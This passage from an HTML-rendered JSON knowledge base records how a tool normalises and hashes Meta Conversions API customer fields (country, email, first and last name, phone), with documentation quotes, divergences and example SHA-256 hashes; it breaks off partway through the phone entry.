      &lt;/span&gt;&lt;span class="nl"&gt;"param"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ct"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"platform"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"meta"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"sourceUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://developers.facebook.com/docs/marketing-api/conversions-api/parameters/customer-information-parameters"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalizationRule-meta-country"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"divergences"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"United States: the documented example translates a country name into its code. The code refuses names, because a translation that is wrong for one entry hashes a country the customer never lived in. Send the two-letter code."&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docExamples"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"diverges"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"input"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"United States"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"normalized"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"us"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"sha256"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"79adb2a2fce5c6ba215fe5f27f532d4e7edbac4b6a5e09e1ef3a08084a904621"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docQuote"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Hashing required. Use the lowercase, 2-letter country codes in ISO 3166-1 alpha-2. Important Note: Always include your customers’ countries’ even if all of your country codes are from the same country. We match on a global scale, and this simple step helps us match as many Accounts Center accounts as possible from your list."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"field"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"country"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"hashed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implementation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Refuses invisible characters and non-ASCII whitespace (for example U+00A0, U+200B) with the code point named, instead of hashing them. Accepts exactly two ASCII letters after trimming and lowercases them. Refuses full names rather than translating them."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implemented"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"kbEntry"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalization_and_hashing/meta"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"param"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"country"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"platform"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"meta"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"sourceUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://developers.facebook.com/docs/marketing-api/conversions-api/parameters/customer-information-parameters"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalizationRule-meta-email"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"divergences"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"Whitespace inside the address is removed; the documentation asks only for leading and trailing spaces to be trimmed. A valid address has no internal whitespace, so this only changes inputs that were already broken."&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docExamples"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"diverges"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"input"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"John_Smith@gmail.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"normalized"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"john_smith@gmail.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"sha256"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"62a14e44f765419d10fea99367361a727c12365e2520f32218d505ed9aa0f62f"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docQuote"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Hashing required. Trim any leading and trailing spaces. Convert all characters to lowercase."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"field"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"hashed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implementation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Refuses invisible characters and non-ASCII whitespace (for example U+00A0, U+200B) with the code point named, instead of hashing them. Requires exactly one '@' and a dotted domain. Removes ASCII whitespace anywhere in the address and lowercases with str.lower. No Gmail-specific rule."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implemented"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"kbEntry"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalization_and_hashing/meta"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"param"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"em"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"platform"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"meta"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"sourceUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://developers.facebook.com/docs/marketing-api/conversions-api/parameters/customer-information-parameters"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalizationRule-meta-first_name"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"divergences"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"Spaces inside a name are removed, so 'Mary Ann' becomes 'maryann'. The fn and ln rule names only punctuation; the ct rule is the one that says no spaces. The code applies the stricter reading to names too, and the page has no multi-word example that settles it."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"Symbols (Unicode category S, for example the trademark sign) are removed along with punctuation. Letters with accents and non-Latin letters are kept, as the page's examples show."&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docExamples"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"diverges"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"input"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Mary"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"normalized"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mary"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"sha256"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"6915771be1c5aa0c886870b6951b03d7eafc121fea0e80a5ea83beb7c449f4ec"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"diverges"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"input"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"정"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"normalized"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"정"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"sha256"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"8fa8cd9c440be61d0151429310034083132b35975c4bea67fdd74158eb51db14"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"diverges"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"input"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Valéry"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"normalized"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"valéry"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"sha256"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"08e1996b5dd49e62a4b4c010d44e4345592a863bb9f8e3976219bac29417149c"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docQuote"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Hashing required. Using Roman alphabet a-z characters is recommended. Lowercase only with no punctuation. If using special characters, the text must be encoded in UTF-8 format."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"field"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"first_name"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"hashed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implementation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Refuses invisible characters and non-ASCII whitespace (for example U+00A0, U+200B) with the code point named, instead of hashing them. Trims, removes Unicode punctuation, symbols and spaces (categories P, S, Z), lowercases. Accented and non-Latin letters are kept."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implemented"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"kbEntry"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalization_and_hashing/meta"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"param"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fn"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"platform"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"meta"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"sourceUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://developers.facebook.com/docs/marketing-api/conversions-api/parameters/customer-information-parameters"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalizationRule-meta-last_name"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"divergences"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"Spaces inside a name are removed, so 'Mary Ann' becomes 'maryann'. The fn and ln rule names only punctuation; the ct rule is the one that says no spaces. The code applies the stricter reading to names too, and the page has no multi-word example that settles it."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"Symbols (Unicode category S, for example the trademark sign) are removed along with punctuation. Letters with accents and non-Latin letters are kept, as the page's examples show."&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docExamples"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;

      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docQuote"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Hashing required. Using Roman alphabet a-z characters is recommended. Lowercase only with no punctuation. If using special characters, the text must be encoded in UTF-8 format. See First Name (fn) for examples."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"field"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"last_name"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"hashed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implementation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Refuses invisible characters and non-ASCII whitespace (for example U+00A0, U+200B) with the code point named, instead of hashing them. Same as first_name: trims, removes punctuation, symbols and spaces, lowercases, keeps accented and non-Latin letters."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implemented"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"kbEntry"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalization_and_hashing/meta"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"param"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ln"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"platform"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"meta"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"sourceUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://developers.facebook.com/docs/marketing-api/conversions-api/parameters/customer-information-parameters"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalizationRule-meta-phone"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"divergences"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"Letters are refused (needs_review) instead of removed, because a letter in a phone field is usually an extension or a typo, and dropping it silently can leave a different, valid-looking number."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"Fewer than 8 digits in the full international number is refused, which excludes the few 7-digit E.164 numbers."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
